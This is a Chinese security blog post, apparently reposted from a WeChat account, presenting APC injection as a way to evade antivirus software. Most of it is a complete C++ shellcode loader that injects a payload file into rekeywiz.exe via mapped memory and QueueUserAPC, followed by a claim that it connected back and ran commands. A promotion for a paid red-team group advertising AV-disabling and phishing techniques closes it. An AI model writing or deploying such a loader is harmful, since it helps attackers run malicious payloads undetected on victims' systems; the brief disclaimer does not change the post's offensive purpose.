【免杀思路】APC注入绕过杀软

admin 2025年6月8日00:02:35评论5 views字数 2487阅读8分17秒阅读模式
0x01 声明
本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!
0x02 APC 注入的思想
  1. 异步执行控制

    • APC 允许外部线程向目标线程的队列中插入一个回调函数(APC 函数),当目标线程进入 可警报状态(Alertable State) 时(如调用 SleepExWaitForSingleObjectEx 等),该函数会被自动执行。
    • 恶意代码通过插入 APC 到目标进程线程,劫持其执行流程。
  2. 隐蔽性

    • 不依赖传统的进程注入(如 CreateRemoteThread),避免了直接创建远程线程的敏感行为,更难被安全软件检测。
0x03 免杀效果演示
#include<iostream>#include<windows.h>#include<stdio.h>#pragma comment (lib, "OneCore.lib")#pragma comment(lib, "ntdll")using myNtTestAlert = NTSTATUS(NTAPI*)();voidmymemcpy(void* dst, void* src, size_t size){    char* psrc, * pdst;    if (dst == NULL || src == NULL)        return;    if (dst <= src)    {        psrc = (char*)src;        pdst = (char*)dst;        while (size--)            *pdst++ = *psrc++;    }    else    {        psrc = (char*)src + size - 1;        pdst = (char*)dst + size - 1;        while (size--) {            *pdst-- = *psrc--;        }    }}intmain(){    FILE* fp;    size_t size;    unsigned char* buffer;    fp = fopen("1.bin""rb");    fseek(fp, 0, SEEK_END);    size = ftell(fp);    fseek(fp, 0, SEEK_SET);    buffer = (unsigned char*)malloc(size);    fread(buffer, size, 1, fp);    fclose(fp);    myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));    LPCSTR lpApplication = "C:\Windows\System32\rekeywiz.exe";    STARTUPINFO sInfo = { 0 };    PROCESS_INFORMATION pInfo = { 0 };    sInfo.cb = sizeof(STARTUPINFO);    CreateProcessA(lpApplication, NULLNULLNULL, FALSE, DEBUG_PROCESS, NULLNULL, (LPSTARTUPINFOA)&sInfo, &pInfo);    HANDLE hProc = pInfo.hProcess;    HANDLE hThread = pInfo.hThread;    DWORD ProcessId = pInfo.dwProcessId;    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, size, NULL);    LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 00, size);    mymemcpy(lpMapAddress, buffer, size);    LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0NULL00, PAGE_EXECUTE_READ);    DebugActiveProcessStop(ProcessId);    QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);    testAlert();    ResumeThread(hThread);    CloseHandle(hThread);    CloseHandle(hProc);    CloseHandle(hMapping);    UnmapViewOfFile(lpMapAddress);    return 0;}
【免杀思路】APC注入绕过杀软
运行测试,成功上线并执行命令!
【免杀思路】APC注入绕过杀软
0x04 红蓝偶像练习生小圈子
圈子主要研究方向红蓝对抗、钓鱼手法思路、武器化操作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满100人。圈子下周会有小幅度涨价,有想加入的师傅,抓紧入圈!
圈子目前更新相关技术文章:
  • HeavenlyBypassAV内部版
  • HeavenlyX86内部版
  • 红队场景下lnk钓鱼Bypass国内AV
  • LNK钓鱼图标自适应制作
  • lnk钓鱼思路视频讲解
  • lnk钓鱼Bypass某擎
  • msi钓鱼
  • chm钓鱼
  • Kill360核晶
  • AV对抗-致盲AV(核晶)
  • 捆绑免杀360
  • kill火绒
  • 火绒6.0内存免杀
  • Defender分离免杀
  • Defender知识点
  • HeavenlyProtectionCS内部CS插件
  • EDR对抗思路
  • 自启动思路
  • Fscan免杀核晶
  • QVM解决思路
  • 红队思路-钓鱼环境下小窗口截屏窃取
  • 免杀Todesk/向日葵读取工具
  • 还有更多红队思路文章!期待您的加入!!!
【免杀思路】APC注入绕过杀软
【免杀思路】APC注入绕过杀软
【免杀思路】APC注入绕过杀软

原文始发于微信公众号(安全天书):【免杀思路】APC注入绕过杀软

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日00:02:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀思路】APC注入绕过杀软https://cn-sec.com/archives/4144202.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息